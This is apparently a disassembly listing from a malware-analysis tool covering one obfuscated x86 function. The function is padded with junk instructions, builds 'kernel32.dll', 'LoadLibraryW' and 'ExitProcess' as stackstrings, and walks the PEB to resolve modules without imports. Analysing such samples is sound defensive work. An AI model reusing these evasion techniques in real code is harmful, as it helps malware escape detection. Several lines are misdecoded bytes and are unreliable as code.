Function at 0x406964
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov dword [ebp - 0x152c], ecx
mov dword [ebp - 0x1528], edx
push ecx
push edx
add esp, 4
sub ecx, 0x108c7
add ecx, 0x402d
and ecx, 0x131b0
pop ecx
push ecx
or ecx, 0x184ae
or ecx, 0x11ff5
or ecx, 0x1bc3
or ecx, 0xe2e0
pop ecx
push eax
or eax, 0x16ba2
enter 0x6ba2, 1
add byte [eax + 0x52], bl
sub edx, 0x700c
call 0x40183a
add byte [ebx], dh
dec edx
xor bh, byte [esi]
push eax
push eax
dec ebx
add esp, 4
call 0x40184c
add byte [ecx + 0x4e], cl
inc ebx
dec esi
dec eax
dec esi
dec esp
cmp esi, dword [edx]
add esp, 4
pop edx
mov eax, dword [ebp - 0x30]
add eax, 0x138
imul ecx, dword [ebp - 0x2c], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x2c], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1d2c], eax
push ecx
add ecx, 0x122ba
jmp 0x401886
add ecx, 0x38ca
call 0x401898
add byte [esi + 0x3f], cl
inc edx
xor cl, byte [ecx + 0x47]
add esp, 4
pop ecx
push eax
and eax, 0x14cc
jmp 0x4018ab
pop eax
mov eax, dword [ebp - 0x152c]
add eax, 0x138
imul ecx, dword [ebp - 0x1528], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x1528], 0x138
add byte [ebx], ch
retf 0xc133
imul eax, dword [ebp - 0x1528]
mov dword [ebp - 0x1d28], eax
invalid
dec dword [ebx - 0x1d277b]
dec dword [ecx - 0x1d2f7b]
dec dword [ebx - 0x1d2b73]
invalid
cmp ecx, dword [ebp - 0x1d30]
jae 0x401908
mov dword [ebp - 0x149c], 1
jmp 0x401912
mov dword [ebp - 0x149c], 0
mov dl, byte [ebp - 0x149c]
mov byte [ebp - 0x382], dl
movzx eax, byte [ebp - 0x382]
test eax, eax
je 0x404985
push edx
sub edx, 0x3507
xor edx, 0x8766
and edx, 0x1301e
pop edx
push eax
push eax
add esp, 4
sub eax, 0x2ecb
and eax, 0xe925
xor eax, 0xf390
add eax, 0xd60f
pop eax
push eax
jmp 0x401967
sub eax, 0xe9b
pop eax
push eax
push edi
add esp, 4
jmp 0x401979
call 0x401987
add byte [edx + 0x33], cl
dec edx
cmp al, 0x46
cmp al, 0x3e
add esp, 4
and eax, 0x1675d
pop eax
mov ecx, dword [ebp - 0x30]
add ecx, 0x138
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1d34], ecx
mov ecx, dword [ebp - 0x1d34]
mov dword [ebp - 0x1d38], ecx
cmp dword [ebp - 0x1d38], 0x63c1
jne 0x401b0c
push ebx
push edx
add esp, 4
sub ebx, 0x3924
or ebx, 0xf954
pop ebx
push esi
or esi, 0x743c
and esi, 0x8bcd
or esi, 0xbadc
pop esi
push ecx
push ecx
add esp, 4
xor ecx, 0xff98
pop ecx
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
dec ebp
invalid
cmp byte [ecx], al
add byte [eax], al
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x1d3c], edx
mov edx, dword [ebp - 0x1d3c]
mov dword [ebp - 0x1d40], edx
mov eax, dword [ebp - 0x1d40]
sub eax, 0x898
mov dword [ebp - 0x1d44], eax
mov dword [ebp - 0xfb4], 1
push edx
push eax
add esp, 4
add edx, 0x8cb
and edx, 0x4373
or edx, 0x94dd
or edx, 0xa4c6
pop edx
push eax
jmp fcn.00401a80
push ecx
xor ecx, 0x113e1
jmp 0x401b18
pop ecx
push edi
push eax
add esp, 4
sub edi, 0x4a57
call 0x401b34
add byte [eax + 0x48], al
inc edx
dec edi
dec edx
dec edi
inc ebp
dec ebp
cmp dword [ebx + eax*4 - 0x3c], eax
add al, 0x81
iretd
mov dword [ebp - 0x3c0], 0
call 0x404994
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x3c0], eax
push eax
sub eax, 0x13630
pop eax
push edi
push eax
add esp, 4
xor edi, 0x567b
and edi, 0x4403
sub edi, 0x9b47
pop edi
push edx
push edx
add esp, 4
add edx, 0x1881
sub edx, 0x104cc
pop edx
mov ecx, dword [ebp - 0x1fa0]
mov dword [ebp - 0x14b8], ecx
push edi
call 0x4049ec
add byte [esi], dh
xor dh, byte [ebx + eax*2]
inc ebp
inc esi
inc ebx
add esp, 4
pop edi
push eax
push esi
add esp, 4
or eax, 0x454e
pop eax
push ebx
xor ebx, 0x10963
and ebx, 0x11825
jmp 0x404a0f
pop ebx
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x14b8], edx
mov edx, dword [ebp - 0x3c0]
mov dword [ebp - 0x1ef8], edx
mov eax, dword [ebp - 0x1ef8]
add eax, dword [ebp - 0x14b8]
mov dword [ebp - 0x3c0], eax
push edi
and edi, 0x11884
and edi, 0x1326f
sub edi, 0x6dec
pop edi
push ebx
push ebx
add esp, 4
add ebx, 0xdf1a
call 0x404a86
add byte [ecx + edi], dh
inc edi
cmp eax, 0x464b4638
add esp, 4
pop ebx
mov byte [ebp - 0xb78], 0x52
mov byte [ebp - 0xb77], 0xb9
mov byte [ebp - 0xb76], 0x10
mov byte [ebp - 0xb75], 0x10
test dword [ebx + 0x10fffff4], ecx
mov byte [ebp - 0xb74], 0x10
mov byte [ebp - 0xb73], 0x10
mov byte [ebp - 0xb72], 0x5a
push edx
push ecx
add esp, 4
or edx, 0x6b3b
sub edx, 0x767b
add edx, 0x162ae
add edx, 0x32b4
pop edx
push edx
call 0x404ae9
add byte [esi + 0x34], cl
xor eax, dword [edi + 0x45]
dec eax
dec esp
aas
cmp eax, 0x5a04c483
mov byte [ebp - 0xb80], 0x52
mov byte [ebp - 0xb7f], 0xb9
mov byte [ebp - 0xb7e], 0x20
mov byte [ebp - 0xb7d], 0x20
mov byte [ebp - 0xb7c], 0x20
mov byte [ebp - 0xb7b], 0x20
mov byte [ebp - 0xb7a], 0x5a
push ebx
or ebx, 0x11bad
xor ebx, 0x2f6e
and ebx, 0xa0d0
sub ebx, 0xdbde
pop ebx
push ebx
push edi
add esp, 4
sub ebx, 0x8551
pop ebx
push ecx
push edi
add esp, 4
xor ecx, 0xf389
pop ecx
mov dword [ebp - 0x1fa4], 0xe
push ebx
and ebx, 0x1621
pop ebx
push edi
push esi
add esp, 4
xor edi, 0x4f91
xor edi, 0x151d2
and edi, 0x15778
call 0x404b88
add byte [ebp + 0x4a], cl
dec ecx
cmp eax, 0x4c40414a
cmp eax, dword [ebx - 0x46a0fb3c]
add dword [eax], eax
add byte [eax], al
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb78]
mov dword [ebp - 0x14bc], eax
push eax
call 0x404bb2
add byte [eax + 0x38], cl
dec edx
cmp byte [0x50473b3a], bh
add esp, 4
pop eax
push ebx
sub ebx, 0xa84f
xor ebx, 0x12c5b
jmp 0x404bcc
or ebx, 0x102c7
pop ebx
mov dword [ebp - 0x1fa8], 0xffffffff
push ecx
and ecx, 0x7c13
sub ecx, 0x4442
xor ecx, 0x14a1
and ecx, 0x1343a
pop ecx
push esi
push esi
add esp, 4
or esi, 0x13072
and esi, 0x83ce
sub esi, 0x16bff
pop esi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4cc], ecx
jmp 0x404c2c
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push edi
push ecx
add esp, 4
and edi, 0x1078d
or edi, 0x14798
pop edi
push ecx
sub ecx, 0xfb51
pop ecx
push esi
push edi
add esp, 4
xor esi, 0x43c1
sub esi, 0x360c
xor esi, 0x7361
pop esi
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x404ca6
push ecx
push ecx
add esp, 4
sub ecx, 0x164d3
sub ecx, 0x14b1d
pop ecx
push eax
sub eax, 0x8ee3
pop eax
push ecx
push ebx
add esp, 4
or ecx, 0x115b7
xor ecx, 0x13b76
and ecx, 0x164fe
pop ecx
jmp 0x404ed4
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push edx
push edi
add esp, 4
sub edx, 0x899a
call 0x404cd6
add byte [eax + 0x4e], dl
dec eax
dec esp
aaa
dec edi
push eax
add esp, 4
pop edx
push edx
or edx, 0x182a2
add edx, 0x886b
xor edx, 0x1834d
pop edx
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x404d55
push ebx
or ebx, 0x1c9d
add ebx, 0x3c96
pop ebx
push ebx
push ebx
add esp, 4
xor ebx, 0x165ae
pop ebx
push esi
push esi
add esp, 4
sub esi, 0xe8e1
xor esi, 0xfb83
add esi, 0x1834
pop esi
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x404e86
cmp dword [ebp - 0xc08], 0
jle 0x404e7a
push esi
push esi
add esp, 4
jmp 0x404d6d
sub esi, 0x177f8
and esi, 0x9705
pop esi
push ecx
push eax
add esp, 4
sub ecx, 0x64be
pop ecx
push ebx
xor ebx, 0x405d
sub ebx, 0xfc5f
pop ebx
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x404e16
push ebx
push ecx
add esp, 4
jmp 0x404db8
pop ebx
push edx
jmp 0x404dc3
pop edx
push edx
push edi
add esp, 4
and edx, 0x10164
or edx, 0x16f37
and edx, 0x113ea
pop edx
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x404dfe
mov dword [ebp - 0x14c0], 1
jmp 0x404e08
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x404e7a
push edx
xor edx, 0xd094
or edx, 0x4c04
call 0x404e32
add byte [ebx + 0x49], al
dec esp
cmp esi, dword [esi]
cmp dword [ebx + 0x40], ecx
dec esp
add esp, 4
xor edx, 0x180cb
pop edx
push eax
push ebx
add esp, 4
add eax, 0x1147
pop eax
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x404d55
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x404ecf
push edx
or edx, 0x2726
jmp 0x404e9d
add edx, 0x177c6
add edx, 0x16d7e
pop edx
push eax
push ecx
add esp, 4
call 0x404ebd
add byte [esi + 0x4e], al
xor eax, 0x3b4e343a
cmp dword [ebx - 0x74a7fb3c], eax
test dword [ebx + edi*8], esi
invalid
jmp 0x404c1d
push ebx
push ecx
add esp, 4
add ebx, 0xbef7
jmp 0x404ee5
pop ebx
push ebx
push ebx
add esp, 4
xor ebx, 0xfbb3
pop ebx
push edi
push esi
add esp, 4
xor edi, 0x10e6c
pop edi
push edi
add edi, 0x113e9
pop edi
mov dword [ebp - 0x3cc], 0
push edi
call 0x404f1f
add byte [ecx + ecx*2 + 0x41], al
inc edi
dec edx
push eax
cmp byte [ebx - 0x7d], al
les eax, [ecx + eax*4]
out dx, eax
push ss
wait
add byte [eax], al
pop edi
push edi
call 0x404f38
add byte [ebx], dh
dec ebx
dec edx
inc edi
xor bh, byte [edx]
cmp al, 0x38
add esp, 4
xor edi, 0x11c50
pop edi
push ecx
call 0x404f52
add byte [ecx + 0x45], cl
cmp al, byte [edi + 0x33]
dec ecx
inc ebx
inc esp
xor eax, dword [ebx - 0xe7efb3c]
mov bh, byte [edi]
add dword [eax], eax
add ecx, 0xb5c2
sub ecx, 0x14912
pop ecx
push ebx
push esi
add esp, 4
xor ebx, 0x3a78
pop ebx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push ebx
push ecx
add esp, 4
and ebx, 0xadc7
pop ebx
push eax
push esi
add esp, 4
add eax, 0x11a2
pop eax
push eax
sub eax, 0x16fe6
pop eax
push edx
push eax
add esp, 4
or edx, 0xaf1c
add edx, 0x12d53
pop edx
mov dword [ebp - 0x1fac], 0xffffffff
push edx
or edx, 0x1f9f
jmp 0x404fd2
pop edx
push edi
xor edi, 0xe267
pop edi
push eax
push edi
add esp, 4
add eax, 0xc63e
pop eax
push esi
or esi, 0x887b
pop esi
push edx
add edx, 0xfbb8
pop edx
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x405014
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push esi
xor esi, 0x16c5
add esi, 0x4b5
jmp 0x405026
pop esi
push ebx
jmp 0x405031
xor ebx, 0x12c5d
pop ebx
push edi
and edi, 0x29f8
xor edi, 0x118b9
pop edi
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x40508e
push edi
sub edi, 0xde5c
call 0x40506e
add byte [esi + 0x42], cl
xor eax, 0x413e4447
inc eax
inc edx
inc esp
add esp, 4
and edi, 0x50ea
call 0x405085
add byte [eax + ecx*2 + 0x45], cl
xor dh, byte [esi + ecx*2]
cmp al, 0x4a
add esp, 4
pop edi
jmp 0x4052bc
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push edx
sub edx, 0x6678
or edx, 0xcbb9
pop edx
push esi
push edx
add esp, 4
or esi, 0x1741
call 0x4050cc
add byte [ecx], bh
cmp byte [ebp + 0x44], al
push eax
xor ecx, dword [edi + 0x32]
add esp, 4
xor esi, 0x4fd4
pop esi
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x40513d
push edi
jmp 0x405104
sub edi, 0x2bae
and edi, 0x16ad1
pop edi
push esi
push ebx
add esp, 4
add esi, 0xf01e
call 0x405128
add byte [eax + 0x4e], al
inc esi
push eax
cmp byte [edx - 0x7d], al
les eax, [esi + ebx*2]
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x40526e
cmp dword [ebp - 0xc10], 0
jle 0x405262
push esi
add esi, 0x169ee
add esi, 0xac34
sub esi, 0xc048
pop esi
push edi
push ecx
add esp, 4
or edi, 0x14a5f
and edi, 0x62e
pop edi
push edx
push edx
add esp, 4
sub edx, 0xa2f4
pop edx
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x4051fe
push ecx
xor ecx, 0x649b
and ecx, 0x1308e
pop ecx
push eax
push esi
add esp, 4
sub eax, 0x4016
xor eax, 0x1488b
pop eax
push eax
push esi
add esp, 4
add eax, 0xc9ab
xor eax, 0x1d1f
pop eax
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x4051e6
mov dword [ebp - 0x14cc], 1
jmp 0x4051f0
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x405262
push ebx
push ecx
add esp, 4
sub ebx, 0x11caa
pop ebx
push ecx
and ecx, 0x15c87
pop ecx
push eax
push ebx
add esp, 4
add eax, 0xdac9
and eax, 0xd521
xor eax, 0x17842
and eax, 0xf904
pop eax
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x40513d
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x4052b7
push edx
jmp 0x40527e
pop edx
push ebx
push edx
add esp, 4
xor ebx, 0x2955
sub ebx, 0x1585d
xor ebx, 0x10b54
call 0x4052a5
add byte [ecx + edi], bh
dec esi
xor dh, byte ds:[eax + ecx*2]
cmp eax, 0x5b04c483
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x4052f8
jmp 0x405005
push ebx
push edx
add esp, 4
xor ebx, 0x10dfa
call 0x4052d6
add byte [eax + 0x34], dl
cmp eax, 0x4a453d4b
inc edi
cmp eax, 0x5b04c483
push eax
push edi
add esp, 4
or eax, 0xee78
pop eax
push ecx
xor ecx, 0xba65
pop ecx
mov dword [ebp - 0xa5c], 0
push esi
jmp 0x4052fe
pop esi
push eax
call 0x40530d
add byte [ecx + 0x4a], cl
xor cl, byte [ebx + 0x45]
dec ecx
dec eax
add esp, 4
pop eax
push ecx
push edi
add esp, 4
jmp 0x40531d
and ecx, 0x4dda
or ecx, 0x13c6e
pop ecx
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push ebx
add ebx, 0x11b6a
or ebx, 0xb6c
pop ebx
push edi
push edx
add esp, 4
xor edi, 0x100a8
pop edi
push eax
push eax
add esp, 4
xor eax, 0x922d
or eax, 0x9415
add eax, 0xf2b6
pop eax
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push eax
push eax
add esp, 4
and eax, 0x11309
call 0x405461
add byte [esi], dh
dec ebp
cmp al, 0x4e
inc ecx
cmp dword [ebx + eax*4], edi
les eax, [ecx + eax*4]
loopne 0x4054dc
sbb al, byte [eax]
add al, ch
or byte [eax], al
add byte [eax], al
add byte [esi], bh
dec edi
inc esp
xor eax, 0x833f3a45
les eax, [eax + ebx*2]
push edi
sub edi, 0x92d6
call 0x405491
add byte [ecx + 0x3e], al
xor edi, dword ss:[0x32413e35]
add esp, 4
call 0x4054a3
add byte [edx], dh
inc edx
inc eax
dec ebx
push eax
push eax
inc eax
inc esi
inc ebp
add esp, 4
sub edi, 0xcf33
pop edi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push ecx
push esi
add esp, 4
xor ecx, 0x100bf
sub ecx, 0xa747
sub ecx, 0xf504
pop ecx
push eax
jmp 0x4054f4
mov edi, 0x81000100
jmp 0x40fc2d
sub eax, 0x15f47
sub eax, 0x17894
or eax, 0x38ea
pop eax
cmp dword [ebp - 0x14d4], 0
jne 0x40551f
mov dword [ebp - 0x2e0], 0
jmp 0x4057db
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push eax
call 0x40553f
add byte [esi + esi + 0x4b], al
dec ebx
xor esi, dword [ebx]
inc ecx
add esp, 4
call 0x405552
add byte [esi], bh
aaa
cmp eax, 0x44404442
cmp al, 0x40
add esp, 4
sub eax, 0xda1d
jmp 0x405562
pop eax
cmp dword [ebp - 0xc20], 0
jne 0x40557b
mov dword [ebp - 0x2e0], 0
jmp 0x4057db
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push edi
add edi, 0x4c40
pop edi
push eax
push esi
add esp, 4
xor eax, 0xf514
and eax, 0x11aa
sub eax, 0xae47
pop eax
push eax
push edx
add esp, 4
sub eax, 0xf2ec
or eax, 0x10eb6
pop eax
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push edx
jmp 0x4055f0
pop edx
push ecx
and ecx, 0xaeb8
xor ecx, 0x168ed
add ecx, 0x4deb
or ecx, 0xa0be
pop ecx
push edx
push esi
add esp, 4
jmp 0x405617
pop edx
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push eax
push ecx
add esp, 4
add eax, 0x6dcc
add eax, 0x1f3
pop eax
push edi
push edi
add esp, 4
call 0x405699
add byte [edi + 0x39], cl
dec edi
dec ebx
inc ecx
cmp byte [ebx], dh
inc esp
dec ecx
cmp al, byte [ebx + 0x5eb04c4]
cmp dword [0x5f3b3f4b], edi
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x4056c7
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x40572a
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x4055e6
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x4055e6
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x405714
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x40571e
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x405773
push edi
and edi, 0x1374b
jmp 0x405742
pop edi
push esi
push edi
add esp, 4
xor esi, 0x139d3
add esi, 0x9ef7
call 0x405761
add byte [ecx + ecx*2 + 0x4a], al
dec ebx
dec ebx
dec ebp
cmp al, 0x83
les eax, [esi + ebx*2]
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x4057db
push esi
push esi
add esp, 4
xor esi, 0x2216
xor esi, 0x4f8a
and esi, 0x128c8
pop esi
push ebx
and ebx, 0x1530
and ebx, 0x12640
sub ebx, 0xb172
and ebx, 0x12b86
pop ebx
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x4057d1
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x405587
mov dword [ebp - 0x2e0], 0
push ecx
push edi
add esp, 4
and ecx, 0x1377b
pop ecx
push eax
sub eax, 0x12a68
xor eax, 0x16238
and eax, 0x926d
add eax, 0xd105
pop eax
push ecx
push ebx
add esp, 4
xor ecx, 0x143ea
pop ecx
cmp dword [ebp - 0x2e0], 0
jne 0x406126
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push edi
call 0x4058c2
add byte [edi + eax*2 + 0x38], cl
aaa
dec ebx
aaa
xor al, 0x3a
add esp, 4
or edi, 0x179eb
call 0x4058db
add byte [edx], dh
dec ecx
push eax
xor eax, 0x4d47454e
dec ecx
inc edi
add esp, 4
xor edi, 0x152cc
pop edi
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push ebx
push edi
add esp, 4
xor ebx, 0xae1e
pop ebx
push edx
xor edx, 0xcdea
add edx, 0x162ec
call 0x40598f
add byte [ebx], bh
xor al, 0x45
aaa
push eax
xor edx, dword [eax + 0x48]
xor eax, dword [ebx - 0x357efb3c]
pop edx
adc al, 0
add byte [edx - 0x7d], bl
mov ebp, 0xffffeb24
add byte [ebp + 0xf], dh
mov dword [ebp - 0x6ec], 0
jmp 0x405c6d
push esi
push esi
add esp, 4
or esi, 0x14ea
sub esi, 0x12a3c
xor esi, 0x59eb
pop esi
push ecx
jmp 0x405c8c
call 0x405c9b
add byte [edi], dh
xor al, 0x50
cmp al, byte [edi + edi + 0x48]
dec esp
xor eax, dword [ebx - 0x7ca6fb3c]
mov ebp, 0xfffff914
add byte [ebp + 0x41], dh
push ecx
push edx
add esp, 4
xor ecx, 0x312d
xor ecx, 0x159d2
call 0x405cc8
add byte [ebx + eax*2 + 0x4c], cl
inc esi
cmp dword [ebx + ecx*2], esi
xor bh, byte [ebx]
add esp, 4
sub ecx, 0xde6a
add byte [ecx + 0x57], bl
and edi, 0xecb
pop edi
mov dword [ebp - 0x738], 0
jmp 0x406810
push ecx
or ecx, 0x7898
xor ecx, 0x13920
sub ecx, 0xb5b8
pop ecx
push eax
push ecx
add esp, 4
jmp 0x406145
pop eax
push ebx
push eax
add esp, 4
add ebx, 0x9256
and ebx, 0x179d5
pop ebx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push edx
add edx, 0xb2d6
pop edx
push ecx
push eax
add esp, 4
and ecx, 0x6d0d
and ecx, 0xecd7
pop ecx
push ecx
push ebx
add esp, 4
xor ecx, 0x8666
sub ecx, 0xe226
add ecx, 0x6440
pop ecx
cmp dword [ebp - 0x14f4], 0
jne 0x4061c9
mov dword [ebp - 0x2e0], 0
jmp 0x406470
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push esi
jmp 0x4061e3
and esi, 0xc4b4
pop esi
push esi
and esi, 0x266b
call 0x4061fd
add byte [edx + 0x3a], cl
dec esi
inc edx
inc esp
cmp dword [ebx - 0x197efb3c], eax
ja 0x406276
add byte [eax], al
add esi, 0xd0f
pop esi
cmp dword [ebp - 0xc3c], 0
jne 0x406225
mov dword [ebp - 0x2e0], 0
jmp 0x406470
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push ecx
push eax
add esp, 4
and ecx, 0x264d
jmp 0x406244
pop ecx
push edi
and edi, 0x2cf
add edi, 0xe557
jmp 0x40625a
jmp 0x406262
pop edi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
